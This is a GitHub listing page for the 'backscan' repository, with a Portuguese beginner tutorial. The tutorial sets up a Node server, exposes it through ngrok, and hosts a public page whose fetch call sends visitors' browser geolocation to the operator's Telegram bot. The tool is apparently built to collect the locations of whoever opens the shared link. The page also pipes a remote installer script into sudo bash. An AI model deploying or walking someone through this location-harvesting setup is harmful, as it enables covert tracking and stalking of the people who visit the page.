PedroHBessa/backscan
PedroHBessa/backscan has 1,684 GitHub stars and 441 forks. GitHot measured 0 stars in 24 hours. Last checked 2026-11-06 05:24 UTC. Last push 2025-03-27.
Este tutorial irá guiar um iniciante absoluto para configurar um ambiente de desenvolvimento no Ubuntu e rodar o projeto BackScan.
Measured star growth
- in 24h
- 0
- in 7 days
- Update delayed
- in 15 days
- Update delayed
- in 1 month
- Update delayed
Net star changes over overlapping periods, not daily totals. Missing measurements are left blank. Stars measure attention, not software quality.
README.md
OriginalTutorial Completo: Configurando e Rodando o BackScan no Ubuntu do Zero
Este tutorial irá guiar um iniciante absoluto para configurar um ambiente de desenvolvimento no Ubuntu e rodar o projeto BackScan.
1. Atualizar o Sistema Operacional
Antes de começar, é recomendado atualizar os pacotes do Ubuntu.
sudo apt update && sudo apt upgrade -y
2. Instalar o Node.js e o npm
O projeto requer o Node.js 16+.
2.1 Verificar se o Node.js já está instalado
node -v
Se aparecer um número de versão (ex: v16.13.0), pule para a próxima etapa.
2.2 Instalar o Node.js
curl -fsSL https://deb.nodesource.com/setup_16.x | sudo -E bash -
sudo apt install -y nodejs
2.3 Verificar a instalação
node -v # Deve exibir a versão do Node.js
npm -v # Deve exibir a versão do npm
3. Instalar o Git
O Git é necessário para clonar o projeto.
sudo apt install -y git
Verifique a instalação:
git --version
4. Clonar o Repositório BackScan
git clone https://github.com/PedroHBessa/backscan.git
cd backscan
5. Instalar as Dependências do Projeto
npm install
6. Configurar as Variáveis do Projeto
Edite o arquivo server.js:
nano server.js
Substitua BOT-TOKEN pelo token do seu bot do Telegram.
Substitua CHAT-TOKEN pelo ID do chat ou grupo onde deseja receber as mensagens.
Pressione CTRL + X, depois Y e Enter para salvar.
7. Criar e Configurar um Bot no Telegram
- No Telegram, procure por @BotFather.
- Envie o comando:
/newbot - Siga as instruções e anote o token fornecido.
- Para obter o ID do chat/grupo:
- Adicione o bot ao grupo.
- Envie uma mensagem no grupo.
- Acesse:
https://api.telegram.org/botSEU_BOT_TOKEN/getUpdates - Anote o
chat_id.
8. Iniciar o Servidor
node server.js
Se tudo estiver correto, a saída deve indicar que o servidor está rodando.
9. Instalar e Configurar o Ngrok
O Ngrok é usado para expor o servidor local para a internet.
9.1 Baixar e Instalar o Ngrok
wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip
chmod +x ngrok
sudo mv ngrok /usr/local/bin/
9.2 Criar Conta no Ngrok
Acesse https://ngrok.com/ e crie uma conta.
Após criar a conta, pegue seu Authtoken e rode:
ngrok authtoken SEU_AUTHTOKEN
10. Expor o Servidor com o Ngrok
ngrok http 8088
Copie a URL gerada pelo Ngrok (exemplo: https://abc123.ngrok.io).
11. Atualizar a URL no Projeto
Abra o arquivo index.html:
nano index.html
Substitua https://abc123.ngrok.io pela URL gerada pelo Ngrok:
fetch("https://abc123.ngrok.io/send-location", {
Salve as alterações (CTRL + X, Y, Enter).
12. Testar o Projeto
Abra o index.html no navegador e permita o acesso à localização. Se tudo estiver correto, a localização será enviada para o bot no Telegram.
13. Hospedar a Página HTML na Vercel
Para deixar a interface do BackScan online, vamos hospedar o index.html na Vercel.
13.1 Criar uma Conta na Vercel
- Acesse https://vercel.com/ e crie uma conta (pode usar o login do GitHub).
- Após logar, clique em "New Project".
13.2 Subir o Projeto para o GitHub
Caso ainda não tenha subido o código:
git init
git add index.html
git commit -m "Adiciona interface do BackScan"
git branch -M main
git remote add origin https://github.com/seu-usuario/backscan-frontend.git
git push -u origin main
13.3 Implantar na Vercel
- Na Vercel, clique em "Import Git Repository" e selecione o repositório do seu projeto.
- Escolha as configurações padrão e clique em Deploy.
- Após a implantação, copie a URL gerada (ex:
https://backscan.vercel.app).
Agora qualquer pessoa pode acessar sua página! 🚀
Conclusão
Agora você tem o projeto BackScan rodando do zero no Ubuntu, mesmo sem experiência em programação. 🚀
Explore related projects
codecrafters-io/build-your-own-x
Master programming by recreating your favorite technologies from scratch.
560,404 starspublic-apis/public-apis
A collective list of free APIs
496,723 starsmorluto/rea
Reverse engineer anything with agents, from app behavior down to native binaries.
437,748 starsopenclaw/openclaw
The AI that really does things. Any OS. Any Platform. The lobster way. 🦞
394,058 stars